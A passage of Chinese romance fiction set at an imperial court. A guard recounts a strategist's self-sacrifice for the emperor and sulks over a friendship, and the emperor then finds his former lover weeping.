二是讲姜时修在战场发生了小意外——其实不严重,只是崴了脚。顾朔那场战争受伤不轻,胳膊上中了一箭,箭上有毒。姜时修在顾朔身旁,随行的大夫不在附近。姜时修情急之下拔了箭,要将顾朔的毒血吸了出来。顾朔中毒意识不清,晕了过去,没及时拦住他。 毒血不该人去吸的,难免沾染到自己。顾朔胳膊上的毒血吸干净,姜时修不出意料地中毒晕了过去。得亏副将及时赶到,把他俩从战场上抢了回去。 后来顾朔日夜守在姜时修的军帐中,一眼都不错开,连排兵布阵都在姜时修军帐中完成,亲力亲为照顾,并不假手于人。 谢永章还特意点了一句,这份情谊,可比顾朔和苏景同那点子荒诞故事感人肺腑。 江天重述完,自个儿也觉得谢永章说得对。据说那毒要命又凶险,姜时修差点送了命,禁军不少兄弟是从承影军调动过来的,江天也有所耳闻,听说姜时修就是喜欢陛下的,毕竟姜时修在军营时从不遮掩这点。 将士们起初瞧不上这一心想爬顾朔床的小白脸,后来发现这是算无遗漏的神算军师,又佩服得五体投地,再瞧着这位为了顾朔连命都能豁出去,那不比苏景同强多了吗? 大家打仗之余,偶尔也干点撮合顾朔和姜时修的事。 顾朔也上道,待姜时修不同寻常的好。至少从顾朔和苏景同的故事里,没见过这么亲近温馨的事。 “哦对了,”江天想起来,“苏景同从太学府出来后,去康宁侯府找康宁侯要了几封银子、一箱衣裳、一套做琴的材料工具、一套笔墨纸砚,一书箱书,还顺走了康宁侯特别珍惜的一刀纸,名唤雀栖花。” 江天重重强调了“顺走了”。 江天讲苏景同去找左正卿时的这句话,内容倒正常,就是语气酸溜溜的。顾朔问:“你吃醋?” 江天愣了一下,旋即噼里啪啦开炮:“吃醋?这不是夫妻爱侣之间才会有的吗?微臣吃什么醋?微臣有什么醋好吃的?陛下是觉得臣会在意苏景同和康宁侯的关系吗?那怎么可能呢?”江天嘴硬得很,咬死不松口:“苏景同和康宁侯天差地别,一个赤诚报国,一个叛国谋反,他俩根本就不是一条道上的人,完全不合适当朋友当兄弟的。” 江天斩钉截铁:“微臣和康宁侯才是同患难共富贵,志气相投肝胆相照的好兄弟!微臣坚信微臣才是康宁侯最好的兄弟!” 江天大手一挥:“苏景同根本不能比!” 江天重复一遍,确定:“没错,不能比。” 顾朔:“……” 这傻蛋。 顾朔头疼地捏眉心,“爱卿,你……”顾朔一肚子话憋了回去,“下去吧。” 江天不明所以:“啊?” 这也太突然了。 话题怎么突然就终结? 江天行礼离开,脑子里还没回过神,不知怎么就突然顾朔要让他走,他还有好多话没说呢。他走了两步,余光看到顾朔的视线望向了窗外。江天用旁光扫去,顾朔在看苏景同的房间。 苏景同的房间窗户小得可怜,大白天也进不来多少光线。 顾朔推门进来时,苏景同还穿着小太监的衣裳,蜷缩在炕上,用帕子遮在脸上挡着。 苏景同每每难过时,便是这幅模样。 悄悄躲起来,关着门,在无人知晓处用帕子或者扇子挡着,悄无声息地淌一脸泪。 是在介怀姜时修的事么? 分开三年,顾朔不清楚苏景同现在的想法,但从他表现的种种行径来看,他心中未必没有重修旧好的想法。 顾朔伸手摘掉他脸上的帕子,不出意外摸到一帕子的眼泪,冰凉潮湿,冷得刺骨。